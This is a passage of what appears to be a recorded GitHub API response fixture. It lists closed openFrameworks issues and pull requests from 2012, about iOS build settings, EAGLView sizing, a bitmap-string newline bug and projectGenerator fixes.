when trying to build an archive for a AdHoc release or when trying to build for the app store.\r\n\r\nwhen submitting to the app store the following error message comes up,\r\n\"emptyExample” does not contain a single–bundle application or contains multiple products. Please select another archive, or adjust your scheme to create a single–bundle application\r\n\r\nswitching SKIP_INSTALL to YES fixes the issue.\r\nalthough im not entirely sure what else this might effect... any ideas?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1097","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1097,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1097","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"SKIP_INSTALL in iPhone+OF Lib.xcodeproj Build Settings should be set to YES","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-12T00:25:28Z","created_at":"2012-03-19T13:31:39Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3709730,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-19T12:54:51Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1096","comments":0,"milestone":null,"number":1096,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1096","assignee":null,"title":"added an example for variable EAGLView window size","labels":[],"closed_at":"2012-03-19T12:54:51Z","created_at":"2012-03-19T12:48:23Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3709105,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1096.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1096","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1096.patch"}},{"updated_at":"2012-03-19T12:37:03Z","body":"this is a small change but opens up a range of possibilities :)\r\n\r\nallows for EAGLView to be created at different width and height to UIScreen dimensions.\r\nand be able to position EAGLView anywhere on the screen.\r\n\r\nthis addition only applies to the native iOS-OF app structure as shown in iosNativeExample.\r\nthis addition leaves standalone iOS-OF apps unchanged.\r\n\r\nhas been tested with all iOS examples.\r\n\r\nfixes #1094","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1095","comments":0,"milestone":null,"number":1095,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1095","assignee":null,"title":"EAGLView can be created to any width and height.","labels":[],"closed_at":"2012-03-19T12:37:03Z","created_at":"2012-03-19T11:37:56Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3708367,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1095.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1095","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1095.patch"}},{"updated_at":"2012-03-19T12:46:06Z","body":"allow for EAGLView to be created at different width and height to UIScreen dimensions.\r\nand be able to position EAGLView anywhere on the screen.\r\n\r\nthis will have many advantages when embedding OF into iOS apps where the full screen is not required.\r\nthis will also allow for a landscape EAGLView to be created inline with apple developer guidelines, at the right dimensions rather then rotating a portrait view.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1094","comments":0,"milestone":null,"number":1094,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1094","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"create EAGLView with any width and height.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-03-19T12:46:06Z","created_at":"2012-03-19T11:29:32Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3708296,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-19T02:50:45Z","body":"fixed a bug theo found with ofDrawBitmapString and newlines","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1093","comments":1,"milestone":null,"number":1093,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1093","assignee":null,"title":"drawString bug","labels":[],"closed_at":"2012-03-19T02:50:45Z","created_at":"2012-03-19T02:40:39Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3704539,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1093.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1093","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1093.patch"}},{"updated_at":"2012-03-20T05:00:52Z","body":"Should solve issue #1087\r\n\r\nhttps://github.com/openframeworks/openFrameworks/issues/1087\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1092","comments":4,"milestone":null,"number":1092,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1092","assignee":null,"title":"Copy Default.png and Icon.png for ios project generation","labels":[],"closed_at":"2012-03-20T05:00:52Z","created_at":"2012-03-18T22:27:31Z","state":"closed","user":{"url":"https://api.github.com/users/jvcleave","gravatar_id":"9c0384a91739bea093f453cf40a59742","login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3703045,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1092.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1092","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1092.patch"}},{"updated_at":"2012-03-19T02:50:45Z","body":"certain bitmapstring modes do \t\t\r\n\tofTranslate(x, y, 0);\r\n\r\nat the start but then don't set x to 0\r\n\r\nso when you get a \\n \r\nthis code below fails and does double translation because it sets the current draw pos to x instead of 0 \r\n\r\n\t\tif(textString[c] == '\\n'){\r\n\r\n\t\t\tsy += bOrigin ? -1 : 1 * (fontSize*1.7);\r\n\t\t\tsx = x;\r\n\r\n\r\nsolution:\r\nfor any mode which does translate set x to 0 after the initial translate call. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1091","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1091,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1091","assignee":null,"title":"ofDrawBitmapString bug with \\n ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"closed_at":"2012-03-19T02:50:45Z","created_at":"2012-03-18T21:02:52Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3702507,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-18T13:42:09Z","body":"removed initWithFrame method from EAGLView because it was stopping EAGLView from being extended and it was never being used.\r\n\r\ncleaned up EAGLView to conform to OF code style guide.\r\n\r\nfixes #1089","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1090","comments":0,"milestone":null,"number":1090,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1090","assignee":null,"title":"EAGLView clean.","labels":[],"closed_at":"2012-03-18T13:42:09Z","created_at":"2012-03-18T13:00:09Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3699817,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1090.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1090","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1090.patch"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=6&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '38771'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"4d3ddafd0fb5d3eeeadfa1308648cafe"'), ('date', 'Tue, 29 May 2012 18:46:26 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1089","html_url":"https://github.com/openframeworks/openFrameworks/issues/1089","body":"in a couple cases ive needed to extend EAGLView to give it some extra functionality.\r\none instance of this was getting the Qualcomm AR library working with OF.\r\n\r\ncurrently the EAGLView is not extendible because it defines,\r\n- (id) initWithFrame:(CGRect)frame\r\nwithout calling the same super function.\r\noverwriting this method means [super initWithFrame:frame] never gets called and this throws an error.\r\n\r\nbesides this, i think it would be nice to give EAGLView the ability to accept a custom renderer which extends ESRenderer.","closed_at":"2012-03-18T14:55:39Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","color":"2babad","name":"iOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"}],"title":"make EAGLView extendible.","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-18T11:52:59Z","updated_at":"2012-03-18T23:41:17Z","comments":4,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1089,"id":3699564,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1088","html_url":"https://github.com/openframeworks/openFrameworks/issues/1088","body":"![Alt text](http://dl.dropbox.com/u/3828359/OF_forum/ios_project_schemes.png)\r\n\r\nwhen building ios projects using projectGenerator, the project schemes are incorrect.\r\nthere is a mac osx scheme which shouldn't be there.\r\nthe correct ios scheme is there but named incorrectly to iPhoneEmptyExample - should be the example project name.","closed_at":"2012-04-17T21:01:02Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","color":"2babad","name":"iOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","color":"444444","name":"project generator"}],"title":"ios projectGenerator schemes issue","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-18T05:42:46Z","updated_at":"2012-04-17T21:01:02Z","comments":0,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":1088,"id":3698387,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1087","html_url":"https://github.com/openframeworks/openFrameworks/issues/1087","body":"currently the Default.png and Icon.png are missing from the ios examples data folder.\r\nshould they be included inside the data folder of each ios example?\r\nor is this something for the projectGenerator to take care of?","closed_at":"2012-04-17T21:01:02Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","color":"2babad","name":"iOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","color":"444444","name":"project generator"}],"title":"ios examples are missing Default.png and Icon.png when built using projectGenerator","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-18T04:57:10Z","updated_at":"2012-04-17T21:01:02Z","comments":4,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":1087,"id":3698291,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1086","html_url":"https://github.com/openframeworks/openFrameworks/issues/1086","body":"when building ios examples using projectGenerator,\r\nassimpExample is missing some information in the Project.xcconfig\r\n\r\nis, \r\nOTHER_LDFLAGS = $(OF_CORE_LIBS) \r\nHEADER_SEARCH_PATHS = $(OF_CORE_HEADERS)\r\n\r\nshoud be,\r\nOTHER_LDFLAGS = $(OF_CORE_LIBS) $(OF_PATH)/addons/ofxAssimpModelLoader/libs/assimp/lib/iphone/assimp.a\r\nHEADER_SEARCH_PATHS = $(OF_CORE_HEADERS) $(OF_PATH)/addons/ofxAssimpModelLoader/libs/assimp/include\r\n","closed_at":"2012-04-17T21:01:02Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","color":"2babad","name":"iOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","color":"444444","name":"project generator"}],"title":"ios assimpExample project not building correctly by projectGenerator","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-18T04:41:43Z","updated_at":"2012-04-17T21:01:02Z","comments":3,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":1086,"id":3698255,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1085","html_url":"https://github.com/openframeworks/openFrameworks/issues/1085","body":"some renaming, indentation, adding empty methods. fixed serial and golan's noise examples.","closed_at":"2012-03-17T19:09:08Z","labels":[],"title":"cleaned up some examples","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1085.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1085","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1085.diff"},"created_at":"2012-03-17T19:06:12Z","updated_at":"2012-03-17T19:09:08Z","comments":0,"milestone":null,"number":1085,"id":3696044,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1084","html_url":"https://github.com/openframeworks/openFrameworks/issues/1084","body":"started cleaning up the iOS examples.\r\nlet me know if this all looks ok and i'll continue on with the rest of them.","closed_at":"2012-03-18T13:41:11Z","labels":[],"title":"bugfix 1071 - clean up ios examples","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1084.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1084","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1084.diff"},"created_at":"2012-03-17T15:57:03Z","updated_at":"2012-03-18T13:41:11Z","comments":2,"milestone":null,"number":1084,"id":3695050,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1083","html_url":"https://github.com/openframeworks/openFrameworks/issues/1083","body":"setting overwrite to true fixed it with xcode 3.2.6 and 10.6.8 (similar to lines above 181)","closed_at":"2012-03-17T06:04:12Z","labels":[],"title":"projectGenerator files missing .plist","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1083.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1083","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1083.diff"},"created_at":"2012-03-17T05:59:25Z","updated_at":"2012-03-17T06:04:12Z","comments":0,"milestone":null,"number":1083,"id":3692975,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/jvcleave","gravatar_id":"9c0384a91739bea093f453cf40a59742","login":"jvcleave","avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":150037}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1082","html_url":"https://github.com/openframeworks/openFrameworks/issues/1082","body":"i previously pushed the changes directly upstream, but should have done a pull request. theo noticed that the indentation on the header files was all wrong so i just went through and fixed them.","closed_at":"2012-03-17T05:39:57Z","labels":[],"title":"cleaned up some examples","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1082.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1082","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1082.diff"},"created_at":"2012-03-17T05:27:20Z","updated_at":"2012-03-17T05:39:57Z","comments":1,"milestone":null,"number":1082,"id":3692871,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1081","html_url":"https://github.com/openframeworks/openFrameworks/issues/1081","body":"The gitignore structure needs an overhaul. It's become really confusing to read, rules are duplicated (that could be interesting to debug one day:P), and some things don't get ignored properly.\r\nI plan to tackle this some time soon, but will wait for the project manager and whole repo to settle down a bit more. Work will probably happen in https://github.com/bilderbuchi/openFrameworks/tree/gitignore-fixes.\r\n\r\nThis issue is for the RFC from the core that I'll definitely have when figuring out what you really want/need ignored and what not.","closed_at":"2012-05-27T11:02:43Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","color":"DDDDDD","name":"section-internals"}],"title":"Overhaul .gitignore structure","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-16T20:23:21Z","updated_at":"2012-05-27T11:02:43Z","comments":9,"milestone":null,"number":1081,"id":3688749,"assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1080","html_url":"https://github.com/openframeworks/openFrameworks/issues/1080","body":"I don't know if this is on the TOTO already (I assume it is), but many of the scripts in the scripts folder are broken currently but still in the repo. \r\nIn my opinion, these have to be looked at/updated/deleted before we release, otherwise we ship broken stuff, so I'm milestoning 0071.","closed_at":"2012-05-24T21:08:58Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"Look at/update scripts","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-16T20:15:12Z","updated_at":"2012-05-25T08:15:53Z","comments":6,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":1080,"id":3688635,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1079","html_url":"https://github.com/openframeworks/openFrameworks/issues/1079","body":"Some clean-up and fixes to the gitignores, to properly a compiled project generator.\r\n\r\nGenerally, the gitignore structure needs an overhaul. It's become really confusing to read, rules are duplicated (that could be interesting to debug :P), etc., but I'll postpone that to a later date. I'll be back, I guess.\r\n\r\nThis goes towards fixing part of #1076","closed_at":"2012-03-16T19:05:54Z","labels":[],"title":".gitignore fixes","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1079.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1079","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1079.diff"},"created_at":"2012-03-16T19:00:29Z","updated_at":"2012-03-16T19:20:46Z","comments":1,"milestone":null,"number":1079,"id":3687448,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1078","html_url":"https://github.com/openframeworks/openFrameworks/issues/1078","body":"ofFbo on iOS is not rendering correctly.\r\nwill need to investigate further.\r\nhttp://forum.openframeworks.cc/index.php/topic,7484.0.html","closed_at":"2012-05-16T11:45:33Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","color":"2babad","name":"iOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"ofFbo on iOS - Scaling and Offset Issues","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-16T10:15:34Z","updated_at":"2012-05-16T11:45:33Z","comments":11,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 